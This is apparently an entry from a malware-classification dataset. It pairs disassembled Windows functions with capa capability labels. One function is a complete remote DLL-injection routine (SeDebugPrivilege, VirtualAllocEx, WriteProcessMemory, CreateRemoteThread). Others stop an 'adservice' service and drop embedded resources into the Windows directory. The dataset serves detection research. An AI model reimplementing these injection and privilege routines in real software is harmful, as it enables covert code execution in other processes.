joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bb90
Capabilities:
Acquire debug privileges
Check if file exists
Create thread
Inject dll
Inject thread

Disassembly:
cmp dword [0x10030008], 0
jne 0x1000bbb0
push str.SeDebugPrivilege
call fcn.1000bb20
add esp, 4
mov dword [0x10030008], 1
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebp
add ebx, 1
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000bbd0
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x10]
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1000bc01
push str.InjectDll_hRemoteProcess
push 0x1002d9b8
call fcn.10009500
add esp, 8
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push edi
push 4
push 0x1000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x1000bc39
push str.InjectDll_VirtualAllocEx
push 0x1002d9b8
call fcn.10009500
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000bc69
push str.InjectDll_WriteProcessMemory
push 0x1002d9b8
call fcn.10009500
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0x10026078
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000bca4
push str.InjectDll_PTHREAD_START_ROUTINE
push 0x1002d9b8
call fcn.10009500
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push 0
push 0
push edi
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
test ebx, ebx
je 0x1000bcf4
push str.InjectDll_CreateRemoteThread
push 0x1002d9b8
call fcn.10009500
add esp, 8
push 0xbb8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1000bcf1
push 0x8000
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call ebp
push esi
call ebp
push str.InjectDll_Exit
push 0x1002d9b8
call fcn.10009500
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x1000be30
Capabilities:
Check if file exists
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x1002451b
mov eax, dword fs:[0]
push eax
sub esp, 0x734
mov eax, dword [0x1002c5e8]
xor eax, esp
mov dword [esp + 0x730], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1002c5e8]
xor eax, esp
push eax
lea eax, [esp + 0x748]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x758]
xor ebx, ebx
mov dword [esp + 0x18], ebx
push ebx
push 0x1002545e
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.10001b60
push 0x103
lea eax, [esp + 0x3d]
push ebx
push eax
mov dword [esp + 0x75c], ebx
mov byte [esp + 0x44], bl
call fcn.1000d490
add esp, 0xc
push ebx
push 0x10
lea ecx, [esp + 0x40]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edi, [esp + 0x38]
add edi, 0xffffffff
jmp 0x1000bed0
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x1000bed0
mov ecx, 5
mov esi, str.Internet_Explorer.lnk
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [esp + 0x38]
push edx
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000bfde
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea edx, [esp + 0x14]
push edx
push 0x10026184
push 1
push ebx
push 0x10026194
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000bfd8
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push 0x10026204
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x1000bfcc
push 0x104
lea ecx, [esp + 0x140]
push ecx
push 0xffffffffffffffff
lea edx, [esp + 0x44]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push ebx
lea edx, [esp + 0x140]
push edx
push eax
mov eax, dword [ecx + 0x14]
call eax
test eax, eax
jl 0x1000bfc0
push 0x3ff
lea ecx, [esp + 0x349]
push ebx
push ecx
mov byte [esp + 0x350], bl
call fcn.1000d490
mov eax, dword [esp + 0x20]
mov edx, dword [eax]
mov edx, dword [edx + 0x28]
add esp, 0xc
push 0x3fe
lea ecx, [esp + 0x348]
push ecx
push eax
call edx
test eax, eax
jl 0x1000bfc0
lea eax, [esp + 0x344]
push eax
lea ecx, [esp + 0x20]
call fcn.100020d0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x24]
mov dword [ebp + 0x18], 0xf
mov dword [ebp + 0x14], ebx
push eax
mov ecx, ebp
mov byte [ebp + 4], bl
call fcn.100019b0
cmp dword [esp + 0x34], 0x10
jb 0x1000c00e
mov ecx, dword [esp + 0x20]
push ecx
call fcn.1000cb23
add esp, 4
mov eax, ebp
mov ecx, dword [esp + 0x748]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x730]
xor ecx, esp
call fcn.1000cff2
add esp, 0x740
ret

Function at 0x1000cff2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1002c5e8]
jne 0x1000cffc
repz ret
jmp fcn.10012a37
Function at 0x1001e0b4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10011870
xor ebx, ebx
cmp dword [0x10030a1c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1001e189
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1001e0f4
xor eax, eax
jmp 0x1001e24d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1001e0ed
push eax
call fcn.1001180d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10030a1c], eax
call esi
push eax
call fcn.1001180d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10030a20], eax
call esi
push eax
call fcn.1001180d
mov dword [0x10030a24], eax
lea eax, [ebp - 8]
push eax
call fcn.10014b53
test eax, eax
pop ecx
pop ecx
je 0x1001e157
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000cc08
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1001e189
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1001180d
cmp eax, ebx
pop ecx
mov dword [0x10030a2c], eax
je 0x1001e189
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1001180d
pop ecx
mov dword [0x10030a28], eax
mov eax, dword [0x10030a28]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1001e202
cmp dword [0x10030a2c], esi
je 0x1001e202
push eax
call fcn.10011879
pop ecx
call eax
cmp eax, ebx
je 0x1001e1cf
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x10030a2c]
call fcn.10011879
pop ecx
call eax
test eax, eax
je 0x1001e1cf
test byte [ebp - 0x18], 1
jne 0x1001e202
lea eax, [ebp - 0xc]
push eax
call fcn.10014b8a
test eax, eax
pop ecx
je 0x1001e1ea
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.1000cc08
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1001e1f9
or dword [ebp + 0x10], 0x200000
jmp 0x1001e233
or dword [ebp + 0x10], 0x40000
jmp 0x1001e233
mov eax, dword [0x10030a20]
cmp eax, esi
je 0x1001e233
push eax
call fcn.10011879
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1001e233
mov eax, dword [0x10030a24]
cmp eax, esi
je 0x1001e233
push dword [ebp - 4]
push eax
call fcn.10011879
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x10030a1c]
call fcn.10011879
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012a2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x20]
mov dword [ebp - 0xc], edi
jmp 0x4012b5
mov edi, dword [ebp - 0xc]
mov ecx, dword [esi + 0x60]
mov eax, dword [esi + 0x30]
mov edx, dword [esi + 0x68]
sub eax, ecx
sub eax, edx
mov dword [ebp - 8], eax
jne 0x4012d4
test ecx, ecx
jne 0x4012e2
test edx, edx
jne 0x4012e2
mov dword [ebp - 8], edi
jmp 0x40134c
cmp eax, 0xffffffff
jne 0x4012e2
mov dword [ebp - 8], 0xfffffffe
jmp 0x40134c
mov eax, dword [esi + 0x20]
lea eax, [edi + eax - 0x106]
cmp ecx, eax
jb 0x40134c
mov eax, dword [esi + 0x2c]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call fcn.00409230
mov ecx, dword [esi + 0x40]
mov eax, dword [esi + 0x38]
sub dword [esi + 0x64], edi
sub dword [esi + 0x60], edi
add esp, 0xc
sub dword [esi + 0x50], edi
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov ebx, edx
sub ebx, edi
cmp edx, edi
sbb edx, edx
not edx
and edx, ebx
dec ecx
mov word [eax], dx
jne 0x401313
mov eax, dword [esi + 0x34]
mov edx, edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov ebx, ecx
sub ebx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, ebx
dec edx
mov word [eax], cx
jne 0x401332
add dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x4013f2
mov ebx, dword [esi + 0x68]
add ebx, dword [esi + 0x60]
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 8]
add ebx, dword [esi + 0x2c]
mov dword [ebp - 4], eax
cmp eax, ecx
jbe 0x401371
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x40137b
xor eax, eax
jmp 0x4013b3
sub eax, dword [ebp - 4]
mov dword [edi + 4], eax
mov eax, dword [edi + 0x1c]
cmp dword [eax + 0x14], 0
jne 0x40139d
push dword [ebp - 4]
push dword [edi]
push dword [edi + 0x30]
call section..text
add esp, 0xc
mov dword [edi + 0x30], eax
push dword [ebp - 4]
push dword [edi]
push ebx
call fcn.00409230
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x68], eax
mov edi, dword [esi + 0x68]
cmp edi, 3
jb 0x4013de
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0x2c]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x4c]
mov dword [esi + 0x3c], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x48]
mov dword [esi + 0x3c], eax
cmp edi, 0x106
jae 0x4013f2
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x4012b2
pop edi
pop ebx
leave
ret

Function at 0x404d02
Capabilities:
Read file on windows

Disassembly:
cmp dword [esi + 8], 0
jne 0x404d24
push dword [esi + 0x40]
lea eax, [esi + 0x50]
push 0x1000
push 1
push eax
mov dword [esi + 4], eax
call fcn.00406123
add esp, 0x10
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
ret

Function at 0x404d28
Capabilities:
Write file on windows

Disassembly:
push ebx
push edi
mov edi, 0x1000
sub edi, dword [esi + 0x14]
je 0x404d5f
push dword [esi + 0x44]
lea ebx, [esi + 0x1050]
push edi
push 1
push ebx
call fcn.004062a2
add esp, 0x10
cmp eax, edi
je 0x404d55
or dword [esi + 0x4c], 0xffffffff
xor eax, eax
jmp 0x404d61
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0x1000
mov eax, edi
pop edi
pop ebx
ret
Function at 0x404eda
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404f46
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push edi
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push edi
push edi
push 0x10
lea eax, [ebp - 0x14]
push eax
neg esi
sbb esi, esi
push edi
push dword [ebp - 4]
and esi, 2
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov edi, eax
neg edi
sbb edi, edi
inc edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x404f4c
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x41b2e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.adservice
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
push 0xf003f
movsd dword es:[edi], dword [esi]
xor ebx, ebx
push ebx
push ebx
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, ebx
jne 0x404f8b
or eax, 0xffffffff
jmp 0x405025
push 0xf01ff
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
cmp edi, ebx
jne 0x404faa
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x404f83
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea eax, [ebp - 0x18]
push eax
push 0x24
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
call esi
test eax, eax
jne 0x404fd2
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 0x14]
call esi
jmp 0x404f83
cmp dword [ebp - 0x38], 1
jne 0x404fdc
xor eax, eax
jmp 0x405025
lea eax, [ebp - 0x58]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404fc2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x18]
push eax
push 0x24
lea eax, [ebp - 0x3c]
push eax
push ebx
push edi
call esi
test eax, eax
je 0x405012
cmp dword [ebp - 0x38], 1
jne 0x404fed
jmp 0x405015
or ebx, 0xffffffff
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push dword [ebp - 0x14]
call esi
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405c6c
leave
ret
Function at 0x4050ea
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x41b2e4]
xor eax, ebp
mov dword [ebp + 0x84], eax
push esi
mov esi, dword [ebp + 0x90]
push 0x103
lea eax, [ebp - 0x7f]
push 0
push eax
mov byte [ebp - 0x80], 0
call fcn.00408840
push esi
lea eax, [ebp - 0x80]
push 0x104
push eax
call fcn.00406dcf
lea eax, [ebp - 0x80]
push 0x5c
push eax
call fcn.00406e40
add esp, 0x20
pop esi
test eax, eax
je 0x405164
mov byte [eax], 0
mov eax, dword [ebp + 0x94]
inc eax
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.004050ea
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp + 0x84]
xor ecx, ebp
call fcn.00405c6c
add ebp, 0x88
leave
ret

Function at 0x405179
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
push dword [ebp + 0xc]
call fcn.004050ea
pop ecx
pop ecx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
test esi, esi
jne 0x4051bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x4051bd
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
neg eax
sbb eax, eax
neg eax
jmp 0x4051cd
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
test esi, esi
setne al
dec eax
pop esi
pop ebp
ret

Function at 0x4051d1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40526a
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 0x1c]
cmp edi, esi
jbe 0x405271
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp + 0x10]
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], edi
je 0x40524d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Writing_data_error:__x08_n
mov ecx, fcn.00405a97
call fcn.004050a3
pop ecx
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x40526c
mov eax, dword [ebp + 0xc]
lea ecx, [eax + 0x14]
push ecx
lea ecx, [eax + 0xc]
push ecx
add eax, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
push str.File:__s_size_error_n
jmp 0x405235
Function at 0x40527b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40531a
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp eax, esi
jbe 0x405311
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov dword [edi], eax
push esi
push eax
call fcn.00408840
add esp, 0xc
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [edi]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x405311
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Read_pack_file_failed_with_error:__08x_n
mov ecx, fcn.00405a97
call fcn.004050a3
pop ecx
pop ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405332
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Open_pack_file_failed_with_error:__08x_n
mov ecx, fcn.00405a97
call fcn.004050a3
pop ecx
pop ecx
xor eax, eax
cmp dword [ebp - 8], esi
pop esi
setne al
pop ebx
dec eax
leave
ret

Function at 0x40533f
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x418edc
mov edi, eax
push 0x7d0
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x4053dd
cmp dword [ebp - 4], esi
je 0x4053dd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4053cf
push esi
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4053f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Create_temp_resource_of_file_failed_with_error:__08x_n
jmp 0x4053e9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Load_resource_failed_with_error:__08x_n
mov ecx, fcn.00405a97
call fcn.004050a3
pop ecx
or eax, 0xffffffff
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053fd
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
push eax
push dword [ebp + 8]
mov ebx, str._s_08X
push ebx
mov edi, 0x104
push edi
push dword [ebp + 0xc]
call fcn.00406e6d
add esp, 0x14
call esi
imul eax, eax, 0x3039
xor edx, edx
mov ecx, 0x2215
div ecx
push eax
push dword [ebp + 8]
push ebx
push edi
push dword [ebp + 0x10]
call fcn.00406e6d
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x14
push dword [ebp + 0xc]
call esi
push dword [ebp + 0x10]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x405b05
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41b2e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, str._s_adclient
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
test eax, eax
jne 0x405b31
or eax, 0xffffffff
jmp 0x405b91
mov dword [0x41ed48], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push esi
push eax
call fcn.00406e6d
add esp, 0x10
push 0
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405b84
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405b2c
lea eax, [ebp - 0x114]
push eax
call fcn.0040545f
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405c6c
leave
ret

Function at 0x405b9f
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 1
jle 0x405c5c
and dword [ebp + 8], 0
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, dword [esi + 4]
push edi
call fcn.00404d7f
mov edi, str.15:08:45
push edi
push dword [esi]
push str._____Start_install__s.___s_______n
call fcn.00404e18
lea eax, [ebp + 8]
push eax
push str.pid_d
push ebx
call fcn.00406a8d
add esp, 0x18
cmp eax, 1
jne 0x405c06
push dword [ebp + 8]
call fcn.00405034
pop ecx
test eax, eax
je 0x405c34
call fcn.00404e3f
push eax
call fcn.00405b05
jmp 0x405c33
lea eax, [ebp - 4]
push eax
push str.uid_u
push ebx
call fcn.00406a8d
add esp, 0xc
cmp eax, 1
jne 0x405c22
push dword [ebp - 4]
jmp 0x405bff
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 0x10
je 0x405c34
push ebx
call fcn.0040545f
pop ecx
push edi
push str._____End_install___s_______n
call fcn.00404e18
mov eax, dword [0x41ebc4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
test eax, eax
je 0x405c68
push eax
call fcn.004063ec
and dword [0x41ebc4], 0
jmp 0x405c67
call fcn.00404e3f
push eax
call fcn.00405b05
pop ecx
xor eax, eax
leave
ret

Function at 0x405c6c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b2e4]
jne 0x405c76
repz ret
jmp fcn.0040729a
Function at 0x410a25
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040abe0
and dword [ebp - 4], 0
cmp dword [0x41d2d8], 0
mov ebx, eax
jne 0x410ad6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410b87
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x410b87
push eax
call fcn.0040ab6e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41d2d8], eax
call esi
push eax
call fcn.0040ab6e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41d2dc], eax
call esi
push eax
call fcn.0040ab6e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41d2e0], eax
call esi
push eax
call fcn.0040ab6e
pop ecx
mov dword [0x41d2e8], eax
test eax, eax
je 0x410ad6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ab6e
pop ecx
mov dword [0x41d2e4], eax
mov eax, dword [0x41d2e4]
cmp eax, ebx
je 0x410b2e
cmp dword [0x41d2e8], ebx
je 0x410b2e
push eax
call fcn.0040abe9
push dword [0x41d2e8]
mov esi, eax
call fcn.0040abe9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x410b2e
test edi, edi
je 0x410b2e
call esi
test eax, eax
je 0x410b25
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410b25
test byte [ebp - 0xc], 1
jne 0x410b2e
or dword [ebp + 0x10], 0x200000
jmp 0x410b67
mov eax, dword [0x41d2dc]
cmp eax, ebx
je 0x410b67
push eax
call fcn.0040abe9
pop ecx
test eax, eax
je 0x410b67
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410b67
mov eax, dword [0x41d2e0]
cmp eax, ebx
je 0x410b67
push eax
call fcn.0040abe9
pop ecx
test eax, eax
je 0x410b67
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41d2d8]
call fcn.0040abe9
pop ecx
test eax, eax
je 0x410b87
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410b89
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret